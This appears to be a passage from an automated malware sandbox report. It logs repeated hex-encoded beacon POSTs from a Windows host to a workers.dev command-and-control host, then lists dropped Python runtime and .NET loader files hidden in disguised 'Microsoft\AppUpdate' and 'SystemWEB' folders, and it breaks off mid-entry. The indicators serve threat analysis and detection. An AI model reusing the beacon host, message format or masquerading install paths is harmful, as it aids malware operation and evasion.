"endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=biiPv0g2vOA3VJdxMpx5Hu%2BFC2AYlUAe6AmkNuUSS%2FazS43WGl%2BJM0dCu5mTojZW0oQ5fF5qe%2FMSrrU%2FV63NRm3lb79ieLSg4Cr4a9Mkdr0FpeXVq56DAfOHL%2Bu%2FYZ%2FN"}]} alt-svc: h3=":443"; ma=86400 with response body ==>37623A32323A35353A35353A34393A34343A32323A33613A32303A36653A37353A36633A36633A32633A32303A32323A34393A34343A32323A33613A32303A32....... "POST //4zE6wjXfPm/ HTTP/1.1 User-Agent: Microsoft Windows NT 10.0.22621.0 Content-Type: application/json Host: mud.alert-router-b3a.workers.dev Content-Length: 47" with payload::==> "7b:22:55:55:49:44:22:3a:6e:75:6c:6c:2c:22:49:44:22:3a:22:58:4f:7a:74:36:4f:68:58:65:34:44:48:43:50:71:51:22:2c:22:44:61:74:61:22:3a:22:22:7d" HTTP/1.1 200 OK Date: Tue 13 Jan 2026 05:59:01 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: keep-alive CF-Ray: 9bd2aa47ebbae865-SJC CF-Cache-Status: DYNAMIC Access-Control-Allow-Origin: * Nel: {"report_to":"cf-nel" "success_fraction":0.0 "max_age":604800} Server: cloudflare Set-Cookie: ASP.NET_SessionId=yaYHGDweOJXIOKIQiHygChfOjoXVWGKj; X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Vary: accept-encoding Report-To: {"group":"cf-nel" "max_age":604800 "endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=Kmo3thpTqdtKGnmkclBvBMkcX%2FwkrVgeEBytmC7LntTm%2B1HQ20%2Flyj%2BUzP4JSvWG0JWN6AnPEwQIOE%2BXo4QOqGJ%2FgntCfQ5K8B%2FwhvpSSctKn5dIsDfchvsNbkcbiIv%2F"}]} alt-svc: h3=":443"; ma=86400 with response body ==>37623A32323A35353A35353A34393A34343A32323A33613A32303A36653A37353A36633A36633A32633A32303A32323A34393A34343A32323A33613A32303A32....... "POST //uMvizRgKWrm/ HTTP/1.1 User-Agent: Microsoft Windows NT 10.0.22621.0 Content-Type: application/json Host: mud.alert-router-b3a.workers.dev Content-Length: 47" with payload::==> "7b:22:55:55:49:44:22:3a:6e:75:6c:6c:2c:22:49:44:22:3a:22:58:4f:7a:74:36:4f:68:58:65:34:44:48:43:50:71:51:22:2c:22:44:61:74:61:22:3a:22:22:7d" HTTP/1.1 200 OK Date: Tue 13 Jan 2026 05:59:01 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: keep-alive CF-Ray: 9bd2aa4ad953e865-SJC CF-Cache-Status: DYNAMIC Access-Control-Allow-Origin: * Nel: {"report_to":"cf-nel" "success_fraction":0.0 "max_age":604800} Server: cloudflare Set-Cookie: ASP.NET_SessionId=UfjSbcKtDIoZLFuhLAPpFZMEcgoFRWjX; X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Vary: accept-encoding Report-To: {"group":"cf-nel" "max_age":604800 "endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=J7YLCjDPix68IAotiwaiYefmakmdc6XY14JrU2w0QBzfv8Tx52YMKJ7zfNJxcQefSseIv4o9QBPduXC3Fdbqdqb0tNr3PKvg0rVbrK2PpRu%2BJ5wHbg8OePIdvbj14QMQ"}]} alt-svc: h3=":443"; ma=86400 with response body ==>37623A32323A35353A35353A34393A34343A32323A33613A32303A36653A37353A36633A36633A32633A32303A32323A34393A34343A32323A33613A32303A32....... "POST //YWk3LtlsTlh/ HTTP/1.1 User-Agent: Microsoft Windows NT 10.0.22621.0 Content-Type: application/json Host: mud.alert-router-b3a.workers.dev Content-Length: 47" with payload::==> "7b:22:55:55:49:44:22:3a:6e:75:6c:6c:2c:22:49:44:22:3a:22:58:4f:7a:74:36:4f:68:58:65:34:44:48:43:50:71:51:22:2c:22:44:61:74:61:22:3a:22:22:7d" HTTP/1.1 200 OK Date: Tue 13 Jan 2026 05:59:02 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: keep-alive CF-Ray: 9bd2aa4db83de865-SJC CF-Cache-Status: DYNAMIC Access-Control-Allow-Origin: * Nel: {"report_to":"cf-nel" "success_fraction":0.0 "max_age":604800} Server: cloudflare Set-Cookie: ASP.NET_SessionId=DWJLzdxSLORhgoNoCCRHhaYFEYzPbTsg; X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Vary: accept-encoding Report-To: {"group":"cf-nel" "max_age":604800 "endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=IK04Tpn1GVbfU0a6S1Vfc%2Bd9bqnzUKWuCg5mUb69aUHh5Sfc%2FAm5bzmCbidkeYahGbZzyXApI%2B1vdtJwhX6StPRKKTXUx%2FK%2FIM07HDrXQVIdkRH%2BJIx9s5QKEoPTqOHV"}]} alt-svc: h3=":443"; ma=86400 with response body ==>37623A32323A35353A35353A34393A34343A32323A33613A32303A36653A37353A36633A36633A32633A32303A32323A34393A34343A32323A33613A32303A32....... "POST //VCO16JdjFVgrek/ HTTP/1.1 User-Agent: Microsoft Windows NT 10.0.22621.0 Content-Type: application/json Host: mud.alert-router-b3a.workers.dev Content-Length: 47" with payload::==> "7b:22:55:55:49:44:22:3a:6e:75:6c:6c:2c:22:49:44:22:3a:22:58:4f:7a:74:36:4f:68:58:65:34:44:48:43:50:71:51:22:2c:22:44:61:74:61:22:3a:22:22:7d" HTTP/1.1 200 OK Date: Tue 13 Jan 2026 05:59:02 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: keep-alive CF-Ray: 9bd2aa50adb2e865-SJC CF-Cache-Status: DYNAMIC Access-Control-Allow-Origin: * Nel: {"report_to":"cf-nel" "success_fraction":0.0 "max_age":604800} Server: cloudflare Set-Cookie: ASP.NET_SessionId=seWkXiiCxsyDYNLnYiqNYEtBfOVFvIGu; X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Vary: accept-encoding Report-To: {"group":"cf-nel" "max_age":604800 "endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=wjapTWzt8qQHBGDX%2BG0QMZFVBIUuD3ghrvyhJjVAnOzc5b5nu5hNmVdiS7LCa6Q3JAcqNuTxzQJJ3MuBEDqvcOp%2FIPZ09AbZrhGv%2FFGoCz14QkQUqMIdAUhCNcEmUBMb"}]} alt-svc: h3=":443"; ma=86400 with response body ==>37623A32323A35353A35353A34393A34343A32323A33613A32303A36653A37353A36633A36633A32633A32303A32323A34393A34343A32323A33613A32303A32....... "POST //V5XnxYLTue5I/ HTTP/1.1 User-Agent: Microsoft Windows NT 10.0.22621.0 Content-Type: application/json Host: mud.alert-router-b3a.workers.dev Content-Length: 47" with payload::==> "7b:22:55:55:49:44:22:3a:6e:75:6c:6c:2c:22:49:44:22:3a:22:58:4f:7a:74:36:4f:68:58:65:34:44:48:43:50:71:51:22:2c:22:44:61:74:61:22:3a:22:22:7d" HTTP/1.1 200 OK Date: Tue 13 Jan 2026 05:59:03 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: keep-alive CF-Ray: 9bd2aa539bc7e865-SJC CF-Cache-Status: DYNAMIC Access-Control-Allow-Origin: * Nel: {"report_to":"cf-nel" "success_fraction":0.0 "max_age":604800} Server: cloudflare Set-Cookie: ASP.NET_SessionId=YbdBBMLSzHkUHEwQZiRVKMkLGXabKWah; X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Vary: accept-encoding Report-To: {"group":"cf-nel" "max_age":604800 "endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=GTfAekUAQ8ex2NdmjD955mwR2KK%2B6AL8tB5zflggeYg%2Bj7%2BPECqlV%2BaKavfbnoJTKPfgs9nUix1GgBVG784kbIJRDKehU%2FC6%2BKfLkGHLz9r9%2FMLFzdcpX8ME6PpYNHjl"}]} alt-svc: h3=":443"; ma=86400 with response body ==>37623A32323A35353A35353A34393A34343A32323A33613A32303A36653A37353A36633A36633A32633A32303A32323A34393A34343A32323A33613A32303A32....... "POST //in1r8lCvwlvYh8/ HTTP/1.1 User-Agent: Microsoft Windows NT 10.0.22621.0 Content-Type: application/json Host: mud.alert-router-b3a.workers.dev Content-Length: 47" with payload::==> "7b:22:55:55:49:44:22:3a:6e:75:6c:6c:2c:22:49:44:22:3a:22:58:4f:7a:74:36:4f:68:58:65:34:44:48:43:50:71:51:22:2c:22:44:61:74:61:22:3a:22:22:7d" HTTP/1.1 200 OK Date: Tue 13 Jan 2026 05:59:03 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: keep-alive CF-Ray: 9bd2aa5669b6e865-SJC CF-Cache-Status: DYNAMIC Access-Control-Allow-Origin: * Nel: {"report_to":"cf-nel" "success_fraction":0.0 "max_age":604800} Server: cloudflare Set-Cookie: ASP.NET_SessionId=oSxzPQYBsqeFHHOlnxKCuGaAmgMUlelw; X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Vary: accept-encoding Report-To: {"group":"cf-nel" "max_age":604800 "endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=61tym3pDxYGo7FKovM77Q86H%2FLRSzudsS%2BvJwJ41OuHOuufSp8TLKf5DO1kBMsoG1OZLyYOEzkhoWUSFEyKRM9arRYmR0urD65d86lFEq5vQoVSQCjIhrvKdGfI4DISV"}]} alt-svc: h3=":443"; ma=86400 with response body ==>37623A32323A35353A35353A34393A34343A32323A33613A32303A36653A37353A36633A36633A32633A32303A32323A34393A34343A32323A33613A32303A32....... "POST //TqdRIC/ HTTP/1.1 User-Agent: Microsoft Windows NT 10.0.22621.0 Content-Type: application/json Host: mud.alert-router-b3a.workers.dev Content-Length: 47" with payload::==> "7b:22:55:55:49:44:22:3a:6e:75:6c:6c:2c:22:49:44:22:3a:22:58:4f:7a:74:36:4f:68:58:65:34:44:48:43:50:71:51:22:2c:22:44:61:74:61:22:3a:22:22:7d" HTTP/1.1 200 OK Date: Tue 13 Jan 2026 05:59:04 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: keep-alive CF-Ray: 9bd2aa593f28e865-SJC CF-Cache-Status: DYNAMIC Access-Control-Allow-Origin: * Nel: {"report_to":"cf-nel" "success_fraction":0.0 "max_age":604800} Server: cloudflare Set-Cookie: ASP.NET_SessionId=tGDfhOQLndHUmSQsaFgMvIktLQvdmAdR; X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Vary: accept-encoding Report-To: {"group":"cf-nel" "max_age":604800 "endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=94%2F3gbxse4q2ag%2FM%2B%2FAttlXNxlnCZ4%2Bt0zLiqiPCjBTcph6Ar6fT5ivSDayqc6skMKGPrPg4q8dZHfWNl7IyX3YxjaZdlEeeuv4Aze%2BiGMAgWVhcRZP2edUNzMAE6%2Fwr"}]} alt-svc: h3=":443"; ma=86400 with response body ==>37623A32323A35353A35353A34393A34343A32323A33613A32303A36653A37353A36633A36633A32633A32303A32323A34393A34343A32323A33613A32303A32....... "POST //Mgu/ HTTP/1.1 User-Agent: Microsoft Windows NT 10.0.22621.0 Content-Type: application/json Host: mud.alert-router-b3a.workers.dev Content-Length: 47" with payload::==> "7b:22:55:55:49:44:22:3a:6e:75:6c:6c:2c:22:49:44:22:3a:22:58:4f:7a:74:36:4f:68:58:65:34:44:48:43:50:71:51:22:2c:22:44:61:74:61:22:3a:22:22:7d" HTTP/1.1 200 OK Date: Tue 13 Jan 2026 05:59:04 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: keep-alive CF-Ray: 9bd2aa5c2cb0e865-SJC CF-Cache-Status: DYNAMIC Access-Control-Allow-Origin: * Nel: {"report_to":"cf-nel" "success_fraction":0.0 "max_age":604800} Server: cloudflare Set-Cookie: ASP.NET_SessionId=QhePnBUyWJtErBluLzJCrXSJNRksFsBg; X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Vary: accept-encoding Report-To: {"group":"cf-nel" "max_age":604800 "endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=6ZnQi2vZGQzh4Zic%2F6u%2BCkHgd1OO0g62Oe%2F0%2BKH84GafviAlpCGK93uvqESr%2F4CsAvALCTwOCceXII1mDwTaFo9kqdhedzIVQQe9a8bRSJPJRK503Z7RC4ox0NfsYuFy"}]} alt-svc: h3=":443"; ma=86400 with response body ==>37623A32323A35353A35353A34393A34343A32323A33613A32303A36653A37353A36633A36633A32633A32303A32323A34393A34343A32323A33613A32303A32....... "POST //grVkfNP5YbS/ HTTP/1.1 User-Agent: Microsoft Windows NT 10.0.22621.0 Content-Type: application/json Host: mud.alert-router-b3a.workers.dev Content-Length: 47" with payload::==> "7b:22:55:55:49:44:22:3a:6e:75:6c:6c:2c:22:49:44:22:3a:22:58:4f:7a:74:36:4f:68:58:65:34:44:48:43:50:71:51:22:2c:22:44:61:74:61:22:3a:22:22:7d" HTTP/1.1 200 OK Date: Tue 13 Jan 2026 05:59:05 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: keep-alive CF-Ray: 9bd2aa5f1a5ce865-SJC CF-Cache-Status: DYNAMIC Access-Control-Allow-Origin: * Nel: {"report_to":"cf-nel" "success_fraction":0.0 "max_age":604800} Server: cloudflare Set-Cookie: ASP.NET_SessionId=RwIpCMTXYpTqNmiUIWEWEEeIgLqoOqmm; X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Vary: accept-encoding Report-To: {"group":"cf-nel" "max_age":604800 "endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=n0hxsghLjLTBYt7QMLhGhgwz0KVK24yfa%2Foie33vjyTjw2JyXvrA2tIrkpVStK8svvqJ5sJGUymj5isErAebh3ZyqBMuWFhoXKEPgWssG6DOaWrXp7eetTLKpnoAnBU%2F"}]} alt-svc: h3=":443"; ma=86400 with response body ==>37623A32323A35353A35353A34393A34343A32323A33613A32303A36653A37353A36633A36633A32633A32303A32323A34393A34343A32323A33613A32303A32....... "POST //Rv6/ HTTP/1.1 User-Agent: Microsoft Windows NT 10.0.22621.0 Content-Type: application/json Host: mud.alert-router-b3a.workers.dev Content-Length: 47" with payload::==> "7b:22:55:55:49:44:22:3a:6e:75:6c:6c:2c:22:49:44:22:3a:22:58:4f:7a:74:36:4f:68:58:65:34:44:48:43:50:71:51:22:2c:22:44:61:74:61:22:3a:22:22:7d" HTTP/1.1 200 OK Date: Tue 13 Jan 2026 05:59:05 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: keep-alive CF-Ray: 9bd2aa620853e865-SJC CF-Cache-Status: DYNAMIC Access-Control-Allow-Origin: * Nel: {"report_to":"cf-nel" "success_fraction":0.0 "max_age":604800} Server: cloudflare Set-Cookie: ASP.NET_SessionId=OVwbRJIxUuCVPqXemQUZoVmxAPALZGNe; X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Vary: accept-encoding Report-To: {"group":"cf-nel" "max_age":604800 "endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=nm293Z0H12CWFz7HPdGTS7SSnYDNYLGKmDE34rVXXzHjWbd8Zdu8cavBljE7SpwpnyVkf9Ag8Vk7uhpYZN9888EyuoE%2BakMk0B9YuV7qM%2FWu45o9%2BvyXFLRyof4AFEpF"}]} alt-svc: h3=":443"; ma=86400 with response body ==>37623A32323A35353A35353A34393A34343A32323A33613A32303A36653A37353A36633A36633A32633A32303A32323A34393A34343A32323A33613A32303A32....... "POST //ReK8LTc/ HTTP/1.1 User-Agent: Microsoft Windows NT 10.0.22621.0 Content-Type: application/json Host: mud.alert-router-b3a.workers.dev Content-Length: 47" with payload::==> "7b:22:55:55:49:44:22:3a:6e:75:6c:6c:2c:22:49:44:22:3a:22:58:4f:7a:74:36:4f:68:58:65:34:44:48:43:50:71:51:22:2c:22:44:61:74:61:22:3a:22:22:7d" HTTP/1.1 200 OK Date: Tue 13 Jan 2026 05:59:05 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: keep-alive CF-Ray: 9bd2aa650eeee865-SJC CF-Cache-Status: DYNAMIC Access-Control-Allow-Origin: * Nel: {"report_to":"cf-nel" "success_fraction":0.0 "max_age":604800} Server: cloudflare Set-Cookie: ASP.NET_SessionId=JXZykUSxyzdVCRstcRGHfCKGLOBvOeRR; X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Vary: accept-encoding Report-To: {"group":"cf-nel" "max_age":604800 "endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=tWkE%2F6Bek3E8Sp9LD89Mv5R5F9NmyEHMzKzqWu6M%2FCYXB%2BKnfY%2BzcSgBzhwxxGjzeJgavGLHxAJZAPd%2FDONZJ%2FeXR4PEzS61Z3ShDdIueNFmWfTM0G9YBnRkTgHDFhMq"}]} alt-svc: h3=":443"; ma=86400 with response body ==>37623A32323A35353A35353A34393A34343A32323A33613A32303A36653A37353A36633A36633A32633A32303A32323A34393A34343A32323A33613A32303A32.......61:T3c7f,"Unicode.Data.Automation.dll" has type "PE32 executable for MS Windows 4.00 (DLL) Intel i386 Mono/.Net assembly 3 sections"- Location: [%ALLUSERSPROFILE%\Microsoft\AppUpdate\SystemInfo\Unicode.Data.Automation.dll]- [targetUID: 00000000-00001196] "python312.dll" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 7 sections"- Location: [%ALLUSERSPROFILE%\Microsoft\SystemWEB\SystemInfo\python312.dll]- [targetUID: 00000000-00001196] "libcrypto-3.dll" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 8 sections"- Location: [%ALLUSERSPROFILE%\Microsoft\AppUpdate\SystemInfo\libcrypto-3.dll]- [targetUID: 00000000-00001196] "sqlite3.dll" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%ALLUSERSPROFILE%\Microsoft\SystemWEB\SystemInfo\sqlite3.dll]- [targetUID: 00000000-00001196] "libssl-3.dll" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 8 sections"- Location: [%ALLUSERSPROFILE%\Microsoft\AppUpdate\SystemInfo\libssl-3.dll]- [targetUID: 00000000-00001196] "Python.Runtime.dll" has type "PE32 executable for MS Windows 4.00 (DLL) Intel i386 Mono/.Net assembly 3 sections"- Location: [%ALLUSERSPROFILE%\Microsoft\AppUpdate\SystemInfo\pythonnet\runtime\Python.Runtime.dll]- [targetUID: 00000000-00001196] "python.exe" has type "PE32+ executable for MS Windows 6.00 (console) x86-64 6 sections"- Location: [%ALLUSERSPROFILE%\Microsoft\AppUpdate\SystemInfo\python.exe]- [targetUID: 00000000-00001196] "UsbService86.exe" has type "PE32+ executable for MS Windows 6.00 (GUI) x86-64 6 sections"- Location: [%ALLUSERSPROFILE%\Microsoft\AppUpdate\SystemInfo\UsbService86.exe]- [targetUID: 00000000-00001196] "python3.dll" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 2 sections"- Location: [%ALLUSERSPROFILE%\Microsoft\AppUpdate\SystemInfo\python3.dll]- [targetUID: 00000000-00001196] "vcruntime140_1.dll" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%ALLUSERSPROFILE%\Microsoft\SystemWEB\SystemInfo\vcruntime140_1.dll]- [targetUID: 00000000-00001196] "ClrLoader.dll" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 Mono/.Net assembly 4 sections"- Location: [%ALLUSERSPROFILE%\Microsoft\AppUpdate\SystemInfo\clr_loader\ffi\dlls\amd64\ClrLoader.dll]- [targetUID: 00000000-00001196] "ClrLoader.dll" has type "PE32 executable for MS Windows 6.00 (DLL) Intel i386 Mono/.Net assembly 4 sections"- Location: [%ALLUSERSPROFILE%\Microsoft\AppUpdate\SystemInfo\clr_loader\ffi\dlls\x86\ClrLoader.dll]- [targetUID: 00000000-00001196] "nsExec.dll" has type "PE32 executable for MS Windows 4.00 (DLL) Intel i386 4 sections"- Location: [%TEMP%\nsgDF58.tmp\nsExec.dll]- [targetUID: 00000000-00001196] "unicodedata.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%ALLUSERSPROFILE%\Microsoft\AppUpdate\SystemInfo\unicodedata.pyd]- [targetUID: 00000000-00001196] "MSIC2B7.tmp" has type "PE32 executable for MS Windows 5.01 (DLL) Intel i386 5 sections"- [targetUID: N/A] "_decimal.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%ALLUSERSPROFILE%\Microsoft\SystemWEB\SystemInfo\_decimal.pyd]- [targetUID: 00000000-00001196] "MSIB386.tmp" has type "PE32 executable for MS Windows 5.00 (DLL) Intel i386 5 sections"- [targetUID: N/A] "pyexpat.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%ALLUSERSPROFILE%\Microsoft\SystemWEB\SystemInfo\pyexpat.pyd]- [targetUID: 00000000-00001196] "_cffi_backend.cp312-win_amd64.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%ALLUSERSPROFILE%\Microsoft\SystemWEB\SystemInfo\_cffi_backend.cp312-win_amd64.pyd]- [targetUID: 00000000-00001196] "_ssl.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%ALLUSERSPROFILE%\Microsoft\AppUpdate\SystemInfo\_ssl.pyd]- [targetUID: 00000000-00001196] "_lzma.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%ALLUSERSPROFILE%\Microsoft\AppUpdate\SystemInfo\_lzma.pyd]- [targetUID: 00000000-00001196] "yacc.py" has type "Python script ASCII text executable"- Location: [%ALLUSERSPROFILE%\Microsoft\SystemWEB\SystemInfo\pycparser\ply\yacc.py]- [targetUID: 00000000-00001196] "_elementtree.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%ALLUSERSPROFILE%\Microsoft\AppUpdate\SystemInfo\_elementtree.pyd]- [targetUID: 00000000-00001196] "_ctypes.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%ALLUSERSPROFILE%\Microsoft\AppUpdate\SystemInfo\_ctypes.pyd]- [targetUID: 00000000-00001196] "_sqlite3.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%ALLUSERSPROFILE%\Microsoft\SystemWEB\SystemInfo\_sqlite3.pyd]- [targetUID: 00000000-00001196] "_bz2.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%ALLUSERSPROFILE%\Microsoft\SystemWEB\SystemInfo\_bz2.pyd]- [targetUID: 00000000-00001196] "_socket.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%ALLUSERSPROFILE%\Microsoft\AppUpdate\SystemInfo\_socket.pyd]- [targetUID: 00000000-00001196] "coreclr_errors.py" has type "Python script ASCII text executable with very long lines (396)"- Location: [%ALLUSERSPROFILE%\Microsoft\AppUpdate\SystemInfo\clr_loader\util\coreclr_errors.py]- [targetUID: 00000000-00001196] "c_parser.py" has type "Python script ASCII text executable"- Location: [%ALLUSERSPROFILE%\Microsoft\SystemWEB\SystemInfo\pycparser\c_parser.py]- [targetUID: 00000000-00001196] "_asyncio.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%ALLUSERSPROFILE%\Microsoft\SystemWEB\SystemInfo\_asyncio.pyd]- [targetUID: 00000000-00001196] "_hashlib.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%ALLUSERSPROFILE%\Microsoft\SystemWEB\SystemInfo\_hashlib.pyd]- [targetUID: 00000000-00001196] "recompiler.py" has type "Python script ASCII text executable"- Location: [%ALLUSERSPROFILE%\Microsoft\SystemWEB\SystemInfo\cffi\recompiler.py]- [targetUID: 00000000-00001196] "_overlapped.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%ALLUSERSPROFILE%\Microsoft\AppUpdate\SystemInfo\_overlapped.pyd]- [targetUID: 00000000-00001196] "_zoneinfo.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%ALLUSERSPROFILE%\Microsoft\SystemWEB\SystemInfo\_zoneinfo.pyd]- [targetUID: 00000000-00001196] "_msi.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%ALLUSERSPROFILE%\Microsoft\SystemWEB\SystemInfo\_msi.pyd]- [targetUID: 00000000-00001196] "cparser.py" has type "Python script ASCII text executable"- Location: [%ALLUSERSPROFILE%\Microsoft\AppUpdate\SystemInfo\cffi\cparser.py]- [targetUID: 00000000-00001196] "vengine_cpy.py" has type "Python script ASCII text executable"- Location: [%ALLUSERSPROFILE%\Microsoft\SystemWEB\SystemInfo\cffi\vengine_cpy.py]- [targetUID: 00000000-00001196] "lex.py" has type "Python script ASCII text executable"- Location: [%ALLUSERSPROFILE%\Microsoft\AppUpdate\SystemInfo\pycparser\ply\lex.py]- [targetUID: 00000000-00001196] "backend_ctypes.py" has type "Python script ASCII text executable"- Location: [%ALLUSERSPROFILE%\Microsoft\AppUpdate\SystemInfo\cffi\backend_ctypes.py]- [targetUID: 00000000-00001196] "api.py" has type "Python script ASCII text executable"- Location: [%ALLUSERSPROFILE%\Microsoft\SystemWEB\SystemInfo\cffi\api.py]- [targetUID: 00000000-00001196] "_wmi.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%ALLUSERSPROFILE%\Microsoft\SystemWEB\SystemInfo\_wmi.pyd]- [targetUID: 00000000-00001196] "_multiprocessing.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%ALLUSERSPROFILE%\Microsoft\AppUpdate\SystemInfo\_multiprocessing.pyd]- [targetUID: 00000000-00001196] "cpp.py" has type "Python script ASCII text executable"- Location: [%ALLUSERSPROFILE%\Microsoft\AppUpdate\SystemInfo\pycparser\ply\cpp.py]- [targetUID: 00000000-00001196] "_queue.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%ALLUSERSPROFILE%\Microsoft\SystemWEB\SystemInfo\_queue.pyd]- [targetUID: 00000000-00001196] "c_ast.py" has type "Python script ASCII text executable"- Location: [%ALLUSERSPROFILE%\Microsoft\SystemWEB\SystemInfo\pycparser\c_ast.py]- [targetUID: 00000000-00001196] "select.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%ALLUSERSPROFILE%\Microsoft\AppUpdate\SystemInfo\select.pyd]- [targetUID: 00000000-00001196] "winsound.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%ALLUSERSPROFILE%\Microsoft\AppUpdate\SystemInfo\winsound.pyd]- [targetUID: 00000000-00001196] "vengine_gen.py" has type "Python script ASCII text executable"- Location: [%ALLUSERSPROFILE%\Microsoft\SystemWEB\SystemInfo\cffi\vengine_gen.py]- [targetUID: 00000000-00001196] "_uuid.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%ALLUSERSPROFILE%\Microsoft\AppUpdate\SystemInfo\_uuid.pyd]- [targetUID: 00000000-00001196] "model.py" has type "Python script ASCII text executable"- Location: [%ALLUSERSPROFILE%\Microsoft\SystemWEB\SystemInfo\cffi\model.py]- [targetUID: 00000000-00001196] "c_generator.py" has type "Python script ASCII text executable"- Location: [%ALLUSERSPROFILE%\Microsoft\AppUpdate\SystemInfo\pycparser\c_generator.py]- [targetUID: 00000000-00001196] "c_lexer.py" has type "Python script ASCII text executable"- Location: [%ALLUSERSPROFILE%\Microsoft\SystemWEB\SystemInfo\pycparser\c_lexer.py]- [targetUID: 00000000-00001196] "verifier.py" has type "Python script ASCII text executable"- Location: [%ALLUSERSPROFILE%\Microsoft\SystemWEB\SystemInfo\cffi\verifier.py]- [targetUID: 00000000-00001196] "_ast_gen.py" has type "Python script ASCII text executable"- Location: [%ALLUSERSPROFILE%\Microsoft\AppUpdate\SystemInfo\pycparser\_ast_gen.py]- [targetUID: 00000000-00001196] "setuptools_ext.py" has type "Python script ASCII text executable"- Location: [%ALLUSERSPROFILE%\Microsoft\SystemWEB\SystemInfo\cffi\setuptools_ext.py]- [targetUID: 00000000-00001196] "mono.py" has type "Python script ASCII text executable"- Location: [%ALLUSERSPROFILE%\Microsoft\AppUpdate\SystemInfo\clr_loader\mono.py]- [targetUID: 00000000-00001196] "__init__.py" has type "Python script ASCII text executable"- Location: [%ALLUSERSPROFILE%\Microsoft\AppUpdate\SystemInfo\clr_loader\__init__.py]- [targetUID: 00000000-00001196] "hostfxr.py" has type "Python script ASCII text executable"- Location: [%ALLUSERSPROFILE%\Microsoft\AppUpdate\SystemInfo\clr_loader\hostfxr.py]- [targetUID: 00000000-00001196] "cffi_opcode.py" has type "Python script ASCII text executable"- Location: [%ALLUSERSPROFILE%\Microsoft\SystemWEB\SystemInfo\cffi\cffi_opcode.py]- [targetUID: 00000000-00001196] "ast_transforms.py" has type "Python script ASCII text executable"- Location: [%ALLUSERSPROFILE%\Microsoft\AppUpdate\SystemInfo\pycparser\ast_transforms.py]- [targetUID: 00000000-00001196] "__init__.py" has type "Python script ASCII text executable"- Location: [%ALLUSERSPROFILE%\Microsoft\AppUpdate\SystemInfo\pythonnet\__init__.py]- [targetUID: 00000000-00001196] "find.py" has type "Python script ASCII text executable"- Location: [%ALLUSERSPROFILE%\Microsoft\SystemWEB\SystemInfo\clr_loader\util\find.py]- [targetUID: 00000000-00001196] "plyparser.py" has type "Python script ASCII text executable"- Location: [%ALLUSERSPROFILE%\Microsoft\SystemWEB\SystemInfo\pycparser\plyparser.py]- [targetUID: 